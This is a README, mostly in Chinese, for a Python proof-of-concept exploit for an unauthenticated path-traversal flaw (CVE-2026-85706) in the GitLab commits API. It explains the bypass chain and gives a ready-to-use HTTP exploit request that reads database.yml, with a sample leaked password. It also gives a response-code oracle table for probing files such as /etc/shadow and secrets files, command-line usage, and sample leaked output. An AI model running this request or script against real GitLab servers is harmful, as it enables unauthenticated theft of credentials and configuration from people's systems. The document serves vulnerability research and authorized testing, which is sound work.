
Python PoC for CVE-2026-85706, an unauthenticated path traversal in GitLab CE/EE Repository Commits API that leaks arbitrary local files via a four-state oracle.
GitLab 的「创建 commit」API(POST /api/v4/projects/:id/repository/commits)允许单次请求携带大量文件内容。为避免超大请求体直接进入 Rails 解析,Workhorse 会先把请求体落盘为临时文件,再把 file.path / file.size 等元数据注入转发请求,Rails 端点按这些参数读回文件。漏洞链路由四个环节叠加:
post ':id/repository/commits' 入口只有 require_gitlab_workhorse!(仅校验"经 Workhorse 转发"),真正的 authenticate! 藏在后面的 authorize_push_to_branch! 里,而路径遍历读取发生在它之前。file_params_from_body_upload 直接把请求参数 file.path / file.size / Content-Type 当作 Workhorse 注入的元数据,不区分参数来源,File.read(file_path) 即可遍历任意本地路径。Content-Type=application/x-www-form-urlencoded 时,文件内容交给 Rack::Utils.parse_nested_query 解析;内容中的非法 %-序列触发 ArgumentError: invalid %-encoding (<组件内容>),经 bad_request! 原样回显进 400 响应。回显先到先得:& / = 是组件边界,解析在第一个非法 % 所在组件处中断并回显该组件,无分隔符时整个文件作为一个组件整体回显(合法的 %xx 十六进制转义不触发错误)。.../repository/commits\z),伪造参数被吞进落盘文件内容。URL 末尾加 / 即不匹配该规则,落入兜底的签名反向代理——原始请求体连同伪造参数原样转发给 Rails 且携带有效 JWT,require_gitlab_workhorse! 通过;Grape 归一化尾斜杠后仍命中漏洞 handler。前置条件:URL 中 :id 必须是真实存在的项目(任意公开项目即可),全程无需登录。
利用请求(外置 DB 部署下的 database.yml,密码含非法 % 序列时整段回显):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
响应(首个非法 % 所在组件整段回显):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
读取以 Puma 进程的 git 用户身份执行,响应构成一个四态 oracle:
默认部署下的实际可读范围(实测):
% 的文件:CI 构建日志与产物、用户上传附件、外置 DB 部署的 database.yml。database.yml 在默认本地 socket peer 认证下密码字段为空,仅外置 DB 部署才有值。gitlab.yml:渲染后的模板注释在文件头部(约第 19 行)就存在 95%、%{key} 等序列,而凭据配置(incoming_email、LDAP、对象存储等)都在 170 行之后——先到先得意味着默认部署下只能回显头部段,凭据段读不出;仅在无干扰序列的部署变体(自定义模板等)中可读。另注意 SMTP 密码(gitlab_rails['smtp_password'])不渲染进 gitlab.yml,实际渲染进去的是 incoming_email、LDAP、object_store 凭据。secrets.yml 为纯 hex 不含 %,读不出内容(401);gitlab.rb、TLS 私钥、备份归档为 root-only(仅 500 oracle)。/proc/self/* 进程自窥、按项目 ID 换算 @hashed 路径探测私有项目存在性。Python 3 标准库实现,无第三方依赖。脚本按上表自动判读四态结果。
python3 exploit.py -t http://<target>:<port> # 默认读 gitlab.yml(快速验证回显)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
示例输出(默认部署读 gitlab.yml——回显的是头部段而非凭据段):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
仅用于授权安全测试与漏洞研究。
| 响应 | 含义 | 示例 |
|---|
400 local file not present | 文件不存在 | /etc/nonexistent |
500 Internal Server Error | 存在但 git 用户无权读(Errno::EACCES 未处理);multipart 分支对可读文件的解析错误同样落到 500 | /etc/shadow、/etc/gitlab/gitlab-secrets.json |
401 Unauthorized | 存在且可读,但内容无非法 % 序列,不回显 | /etc/passwd、/proc/self/environ |
400 invalid %-encoding (<内容>) | 存在、可读且含非法 % 序列——所在组件整段回显 | 含 % 的日志、CI 构建产物、外置 DB 的 database.yml |
| 参数 | 说明 |
|---|
-t | 目标 GitLab 地址(必填),如 http://<target>:<port> |
-f | 要读取的绝对路径(默认 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | 项目 ID,任意真实存在的项目即可(默认 1) |
-o | 将读出的内容保存到本地文件 |